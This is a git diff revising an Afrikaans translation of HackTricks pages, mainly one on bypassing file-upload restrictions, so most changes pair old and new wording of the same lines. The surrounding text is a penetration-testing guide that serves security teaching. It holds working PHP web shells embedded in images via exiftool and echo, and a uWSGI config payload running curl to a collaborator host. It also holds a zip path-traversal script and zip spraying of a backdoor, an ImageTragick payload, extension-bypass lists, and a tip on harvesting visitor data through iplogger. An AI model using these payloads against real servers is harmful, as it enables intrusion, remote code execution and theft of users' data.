4. Probeer om die beskermings te omseil deur die uitbreidingsontleder van die bedienerkant te **bedrieg met tegnieke soos die verdubbeling** van die **uitbreiding** of **die byvoeging van rommel** data (**nul** byte) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter lading voor te berei._
|
||||
4. Probeer om die beskermings te omseil deur die **uitbreidingsontleder** van die bedienerkant te mislei met tegnieke soos **dubbeling** van die **uitbreiding** of **byvoeging van rommel** data (**nul** byte) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter lading voor te berei._
|
||||
* _lêer.png.php_
|
||||
* _lêer.png.pHp5_
|
||||
* _lêer.php#.png_
|
||||
|
@ -58,12 +58,12 @@ Ander nuttige uitbreidings:
|
|||
* _lêer.php%0a.png_
|
||||
* _lêer.php%0d%0a.png_
|
||||
* _lêer.phpJunk123png_
|
||||
5. Voeg **'n ander laag uitbreidings** by die vorige kontrole:
|
||||
5. Voeg **'n ander laag van uitbreidings** by die vorige kontrole:
|
||||
* _lêer.png.jpg.php_
|
||||
* _lêer.php%00.png%00.jpg_
|
||||
6. Probeer om die **uitvoeringsuitbreiding voor die geldige uitbreiding** te plaas en hoop dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurations te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
|
||||
* _bv: lêer.php.png_
|
||||
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegestane een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "lêer.asax:.jpg"). Hierdie lêer kan later gewysig word deur ander tegnieke te gebruik, soos die gebruik van sy kort lêernaam. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (bv. "lêer.asp::$data.")
|
||||
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegestane een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "lêer.asax:.jpg"). Hierdie lêer kan later gewysig word deur ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon by te voeg om verdere beperkings te omseil (bv. "lêer.asp::$data.")
|
||||
8. Probeer om die lêernaamgrense te breek. Die geldige uitbreiding word afgesny. En die skadelike PHP word agtergelaat. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
|
@ -81,24 +81,24 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* Omgang met **Inhouds-Tipe** kontroles deur die **waarde** van die **Inhouds-Tipe** **kop** te stel na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Inhouds-Tipe **woordelys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Omgang met **magiese nommer** kontrole deur die **bytes van 'n regte beeld' aan die begin van die lêer by te voeg (verwar die _file_ bevel). Of stel die dop in die **metadata** in:\
|
||||
`exiftool -Comment="<?php echo 'Opdrag:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`exiftool -Comment="<?php echo 'Bevel:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` of jy kan ook die **lading direk invoer** in 'n beeld:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur die gebruik van standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE brokkie** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat die **kompressie sal oorleef**.
|
||||
* As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur die gebruik van standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE brokkie** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Die webbladsy kan ook die **beeld** **herskaal**, deur byvoorbeeld die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT brokkie** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat die **kompressie sal oorleef**.
|
||||
* Die webbladsy kan ook die **beeld herskaal**, deur byvoorbeeld die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT brokkie** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* 'n Ander tegniek om 'n lading te maak wat **oorleef met 'n beeldherskaling**, is deur die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt brokkie** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat die **kompressie sal oorleef**.
|
||||
* 'n Ander tegniek om 'n lading te maak wat **oorleef met 'n beeldherskalings**, is deur die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt brokkie** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Ander Truuks om te Kontroleer
|
||||
|
||||
* Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
|
||||
* Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die agterdeur uit te voer.
|
||||
* Vind 'n **Plaaslike Lêer Insleep** kwesbaarheid om die agterdeur uit te voer.
|
||||
* **Moontlike Inligtingsoptel**:
|
||||
1. Laai **veral kere** (en **gelyktydig**) dieselfde lêer met dieselfde naam op
|
||||
2. Laai 'n lêer op met die **naam** van 'n **lêer** of **vouer** wat **reeds bestaan**
|
||||
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die aansoek die opgelaai lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
|
||||
3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die aansoek die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep.
|
||||
4. Laai 'n lêer op wat moontlik nie maklik verwyder kan word nie soos **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
|
||||
6. Laai 'n lêer op in **Windows** deur **voorbehoude** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9 te gebruik.
|
||||
|
@ -109,7 +109,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
As jy probeer om lêers na 'n **PHP-bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
As jy probeer om lêers na 'n **ASP-bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php lêer gebruik word** (deur dit met php uit te voer, of dit binne 'n skriffie in te sluit...)
|
||||
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php lêer gebruik word** (deur dit met php uit te voer, of dit binne 'n skriff in te sluit...)
|
||||
|
||||
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om lêers te **importeer**, dus, op 'n stadium, kon iemand **hierdie uitbreiding toelaat om uitgevoer te word**.
|
||||
|
||||
|
@ -121,7 +121,7 @@ As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
|
|||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Uitbuiting](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) kwesbaarhede kan in uWSGI-bedieners uitgebuit word as jy die vermoë het om die `.ini` konfigurasie lêer te wysig. uWSGI konfigurasie lêers maak gebruik van 'n spesifieke sintaksis om "sielkundige" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, gebruik as `@(lêernaam)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaard uitvoer toelaat. Hierdie kenmerk kan vir bose doeleindes soos Remote Command Execution of Arbitrary File Write/Read gemanipuleer word wanneer 'n `.ini` konfigurasie lêer verwerk word.
|
||||
|
||||
|
@ -143,14 +143,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Die uitvoering van die lading vind plaas tydens die ontleding van die konfigurasie lêer. Vir die konfigurasie om geaktiveer en ontled te word, moet die uWSGI-proses ofwel herlaai word (moontlik na 'n ongeluk of as gevolg van 'n Versteuring van Diens aanval) of die lêer moet ingestel word om outomaties te herlaai. Die outomatiese herlaai funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tussenposes wanneer veranderinge opgespoor word.
|
||||
Die uitvoering van die lading vind plaas tydens die ontleding van die konfigurasie lêer. Vir die konfigurasie om geaktiveer en ontled te word, moet die uWSGI-proses ofwel herlaai word (moontlik na 'n ongeluk of as gevolg van 'n Versteuring van Diens-aanval) of die lêer moet ingestel word om outomaties te herlaai. Die outomatiese herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tussenposes wanneer veranderinge opgespoor word.
|
||||
|
||||
Dit is noodsaaklik om die lakse aard van uWSGI se konfigurasie lêerontleding te verstaan. Spesifiek kan die besproke lading ingevoeg word in 'n binêre lêer (soos 'n beeld of PDF), wat die omvang van potensiële uitbuiting verder verbreed.
|
||||
|
||||
## **wget Lêeroplaai/SSRF Truuk**
|
||||
## **wget-lêeroplaai/SSRF-truuk**
|
||||
|
||||
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In hierdie gevalle kan die kode dalk nagaan dat die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegestane lêers afgelaai gaan word. Nietemin, **hierdie nagaan kan omseil word.**\
|
||||
Die **maksimum** lengte van 'n **lêernaam** in **Linux** is **255**, maar **wget** sny die lêernaam af tot **236** karakters. Jy kan 'n lêer aflaai met die naam "A"\*232+".php"+".gif", hierdie lêernaam sal die nagaan omseil (soos in hierdie voorbeeld **".gif"** 'n **geldige** uitbreiding is) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om lêers af te laai en jy kan die **URL** aandui. In hierdie gevalle kan die kode dalk nagaan dat die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegestane lêers afgelaai gaan word. Nietemin, **hierdie nagaan kan omseil word.**\
|
||||
Die **maksimum** lengte van 'n **lêernaam** in **Linux** is **255**, maar **wget** sny die lêernaam af tot **236** karakters. Jy kan 'n lêer aflaai met die naam "A"\*232+".php"+".gif", hierdie lêernaam sal die nagaan omseil (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -173,7 +173,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Merk op dat **'n ander opsie** wat jy dalk oor dink om hierdie toets te omseil, is om die **HTTP-bediener te laat omskakel na 'n ander lêer**, sodat die aanvanklike URL die toets sal omseil en dan sal wget die omgeskakelde lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die omgeskakelde bladsy sal aflaai met die naam van die lêer wat in die oorspronklike URL aangedui is**.
|
||||
Merk op dat **'n ander opsie** wat jy dalk oor dink om hierdie toets te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die toets sal omseil en dan sal wget die herlei lêer aflaai met die nuwe naam. Dit **sal nie werk** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy sal aflaai met die naam van die lêer aangedui in die oorspronklike URL**.
|
||||
|
||||
## Gereedskap
|
||||
|
||||
|
@ -188,14 +188,14 @@ Merk op dat **'n ander opsie** wat jy dalk oor dink om hierdie toets te omseil,
|
|||
* [**XSS** in beeld (svg) lêeroplaai](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** lêer **oplaai** + **XSS** = [**Service Workers** uitbuiting](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in svg-oplaai**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Oopverwysing** deur die oplaai van svg-lêer](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Probeer **verskillende svg-lasladinge** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [**Oop Herlei** deur 'n svg-lêer op te laai](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Probeer **verskillende svg-lasladings** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Bekende **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* As jy die webbediener kan **aandui om 'n beeld vanaf 'n URL te vang** kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n **openbare** webwerf gaan **geberg** word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
|
||||
* [**XXE en CORS** omseiling met PDF-Adobe oplaai](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Spesiaal ontwerpte PDF's vir XSS: Die [volgende bladsy wys hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n PDF voorberei wat arbitrêre JS sal uitvoer volgens die aangeduide aanwysings.
|
||||
* As jy die webbediener kan **aandui om 'n beeld van 'n URL te vang** kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/) te misbruik. As hierdie **beeld** in 'n **openbare** webwerf gaan **geberg** word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting steel van elke besoeker**.
|
||||
* [**XXE en CORS** omseiling met PDF-Adobe-oplaai](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Spesiaal ontwerpte PDF's vir XSS: Die [volgende bladsy wys hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n PDF voorberei wat arbitêre JS sal uitvoer volgens die aangeduide aanwysings.
|
||||
* Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
|
||||
* Kyk of daar enige **groottebeperking** is vir die oplaai van lêers
|
||||
* Kontroleer of daar enige **groottebeperking** is vir die oplaai van lêers
|
||||
|
||||
Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
|
@ -205,7 +205,7 @@ Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](ht
|
|||
4. **CSV**: CSV-injeksie
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML-injeksie / XSS / Oopverwysing
|
||||
7. **HTML / JS** : HTML-injeksie / XSS / Oop herlei
|
||||
8. **PNG / JPEG**: Pixel-vloedaanval (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
@ -219,7 +219,7 @@ Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](ht
|
|||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
* **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Verwys na [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) vir ander lêertipes.
|
||||
Raadpleeg [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) vir ander lêertipes.
|
||||
|
||||
### Zip/Tar-lêer word outomaties ontsag
|
||||
|
||||
|
@ -235,7 +235,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Ontplooi in verskillende lêers
|
||||
|
||||
Die onverwagte skepping van lêers in gids tydens die ontplooiing is 'n beduidende probleem. Ten spyte van aanvanklike aanames dat hierdie opstelling moontlik kan beskerm teen OS-vlak beveluitvoering deur skadelike lêeroplaaisels, kan die hiërargiese kompressie-ondersteuning en gidskruipvermoëns van die ZIP-argief-formaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontvlug deur die ontplooiingsfunksionaliteit van die geteikende aansoek te manipuleer.
|
||||
Die onverwagte skepping van lêers in gids tydens die ontplooiing is 'n beduidende probleem. Ten spyte van aanvanklike aanames dat hierdie opstelling moontlik kan beskerm teen OS-vlak beveluitvoering deur middel van skadelike lêeroplaais, kan die hiërargiese kompressie-ondersteuning en gidsdeursnysvermoëns van die ZIP-argief-formaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die ontplooiingsfunksionaliteit van die geteikende aansoek te manipuleer.
|
||||
|
||||
'n Geoutomatiseerde uitbuiting om sulke lêers te skep is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan gebruik word soos hieronder getoon:
|
||||
```python
|
||||
|
@ -264,11 +264,11 @@ zip.close()
|
|||
|
||||
create_zip()
|
||||
```
|
||||
**Misbruik van kompressie vir lêer spuiting**
|
||||
**Misbruik van kompressie vir lêer spuitwerk**
|
||||
|
||||
Vir verdere besonderhede **kyk na die oorspronklike pos in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Skep 'n PHP Shell**: PHP-kode is geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike gestuur word.
|
||||
1. **Skep 'n PHP Shell**: PHP-kode is geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike gestuur word.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -277,13 +277,13 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. **Lêer Spuiting en Gekomprimeerde Lêer Skepping**: Meervoudige lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
|
||||
2. **Lêer Spuitwerk en Gekomprimeerde Lêer Skepping**: Meervoudige lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
3. **Wysiging met 'n Hex-redigeerder of vi**: Die name van die lêers binne die zip word verander deur vi of 'n hex-redigeerder te gebruik, waar "xxA" na "../" verander word om deur gids te navigeer.
|
||||
3. **Wysiging met 'n Hex-redakteur of vi**: Die name van die lêers binne die zip word verander deur vi of 'n hex-redakteur te gebruik, waar "xxA" na "../" verander word om deur gids te navigeer.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
|
@ -293,7 +293,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||
|
||||
## ImageTragic
|
||||
|
||||
Laai hierdie inhoud met 'n beelduitbreiding om die kwesbaarheid uit te buit **(ImageMagick, 7.0.1-1)** (van die [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Laai hierdie inhoud met 'n beelduitbreiding op om die kwesbaarheid te misbruik **(ImageMagick, 7.0.1-1)** (van die [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -310,7 +310,7 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
|
|||
|
||||
## Poliglote Lêers
|
||||
|
||||
Poliglote lêers dien as 'n unieke instrument in sibersekerheid, wat optree as kameleons wat geldig in meervoudige lêerformate gelyktydig kan bestaan. 'n Boeiende voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibried wat as beide 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie koppeling nie; kombinasies soos GIF en JS of PPT en JS is ook moontlik.
|
||||
Poliglote lêers dien as 'n unieke instrument in sibersekerheid, wat optree as kameleons wat geldig kan bestaan in meervoudige lêerformate gelyktydig. 'n Boeiende voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibried wat funksioneer as beide 'n GIF en 'n RAR-argief. Sulke lêers is nie beperk tot hierdie koppeling nie; kombinasies soos GIF en JS of PPT en JS is ook moontlik.
|
||||
|
||||
Die kernnut van poliglote lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skerm. Algemene praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir oplaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar lêers) veroorsaak word, te verminder. Nietemin kan 'n poligloot, deur te voldoen aan die strukturele kriteria van meervoudige lêertipes, hierdie beperkings stiekem omseil.
|
||||
|
||||
|
@ -327,9 +327,9 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in **hacking loopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend in Pools geskrewe en gespreek benodig_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -341,8 +341,8 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,30 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakloopbaan** en wil die onhakbare hak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
